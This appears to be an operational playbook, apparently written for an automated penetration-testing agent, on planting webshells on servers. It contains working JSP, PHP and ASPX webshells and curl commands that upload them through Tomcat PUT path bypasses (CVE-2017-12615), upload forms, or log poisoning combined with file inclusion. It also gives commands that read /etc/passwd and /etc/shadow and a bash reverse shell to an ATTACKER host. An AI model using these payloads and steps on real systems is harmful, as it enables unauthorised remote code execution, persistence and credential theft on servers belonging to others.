When exploitation requires uploading/writing a webshell, follow this methodology.
⛔ In-depth reference
- Webshell variants for each platform (AV evasion, WAF bypass, compatible versions for each platform) →
references/webshell-payloads.md - Java memory shell (Filter/Servlet/Listener/Agent, no file on disk) → references/memory-webshell.md
Core principles
- Never inline JSP/PHP code in the curl -d parameter — escaping issues will corrupt the payload
- First write a local file, then use
--data-binary @fileto upload — ensures payload integrity - One success matters more than multiple attempts — operate in the correct order to avoid repeated trial and error
Phase 1: Choose the Webshell type
Choose based on the target tech stack:
| Tech stack | File type | Upload path example |
|---|---|---|
| Java/Tomcat/JBoss | .jsp |
/shell.jsp |
| PHP/Apache/Nginx | .php |
/shell.php |
| ASP.NET/IIS | .aspx |
/shell.aspx |
| Python/Flask/Django | .py |
Usually cannot be uploaded directly |
Phase 2: Generate the Webshell file (locally)
⚠️ Key: must write to a local file
# ✅ 正确做法:写入本地文件
cat > /tmp/shell.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) { out.println(line); }
br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) { out.println(line); }
}
%>
EOF
# ❌ 错误做法:在 curl -d 中内联代码(转义问题)
# curl -X PUT url/shell.jsp -d "<%@ page import=\"java.util.*\"..."
# 这会因为引号、百分号、尖括号的转义导致 payload 损坏
PHP Webshell
cat > /tmp/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = $_REQUEST['cmd'];
system($cmd);
echo "</pre>";
}
?>
EOF
ASPX Webshell
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
%>
EOF
Phase 3: Upload the Webshell
Method A: HTTP PUT upload (Tomcat PUT CVE-2017-12615)
# 使用 --data-binary 上传本地文件(保持原始内容)
# 注意:必须使用路径绕过技巧,直接 PUT /shell.jsp 会被拒绝
# 绕过方式 1: 末尾加斜杠 (Linux)
curl -X PUT "http://TARGET:8080/shell.jsp/" --data-binary @/tmp/shell.jsp -v
# 绕过方式 2: 末尾加空格 %20
curl -X PUT "http://TARGET:8080/shell.jsp%20" --data-binary @/tmp/shell.jsp -v
# 绕过方式 3: NTFS 流 (Windows)
curl -X PUT "http://TARGET:8080/shell.jsp::$DATA" --data-binary @/tmp/shell.jsp -v
Determine upload success: response code 201 Created or 204 No Content。
Method B: File upload form
curl -X POST "http://TARGET/upload" \
-F "file=@/tmp/shell.jsp;filename=shell.jsp" \
-v
Method C: File inclusion write
# 通过日志注入写入 webshell
curl "http://TARGET/" -A '<?php system($_GET["cmd"]); ?>'
# 然后通过 LFI 包含日志文件
curl "http://TARGET/vuln.php?file=/var/log/apache2/access.log&cmd=id"
Phase 4: Verify the Webshell
# 上传后立即验证
curl -s "http://TARGET:8080/shell.jsp?cmd=id"
# 期望输出: uid=0(root) 或类似用户信息
# 如果返回空/404/500,检查:
# 1. 上传路径是否正确(有无绕过后缀变化)
# 2. Webshell 代码是否完整(查看原文件大小)
# 3. 目标是否需要不同的 webshell 变体
Phase 5: Exploit the Webshell
# 基本命令执行
curl -s "http://TARGET:8080/shell.jsp?cmd=whoami"
curl -s "http://TARGET:8080/shell.jsp?cmd=uname+-a"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat+/etc/passwd"
# URL 编码空格和特殊字符
curl -s "http://TARGET:8080/shell.jsp?cmd=ls%20-la%20/"
curl -s "http://TARGET:8080/shell.jsp?cmd=cat%20/etc/shadow"
# 反弹 shell(高级利用)
curl -s "http://TARGET:8080/shell.jsp?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/ATTACKER/4444%200>%261'"
Common errors and solutions
| Problem | Cause | Solution |
|---|---|---|
| PUT returns 404 | Directly PUTting .jsp is rejected by Tomcat | Use /shell.jsp/ or %20 to bypass |
| Webshell returns blank | payload was truncated or corrupted by escaping | Check the file size, re-upload using --data-binary @file Upload |
| Webshell returns 500 | JSP compilation error | Check the payload syntax, especially quotes and special characters |
| Command produces no output | Used exec() instead of shell -c |
Switch to new String[]{"/bin/sh", "-c", cmd} |
| File name was renamed | The application renamed the uploaded file | Extract the actual file name/path from the response |
Decision tree
需要 webshell?
├── 目标支持 PUT?
│ ├── 是 → Phase 2 写文件 → Phase 3A PUT 上传(三种绕过按序试)
│ └── 否 → 有文件上传功能?
│ ├── 是 → Phase 3B 表单上传
│ └── 否 → 有 LFI?
│ ├── 是 → Phase 3C 日志写入 + 文件包含
│ └── 否 → 寻找其他 RCE 路径
└── 上传成功?
├── 是 → Phase 4 验证 → Phase 5 利用
└── 否 → 换绕过方式 → 仍失败 → 换技术栈对应的 shell 类型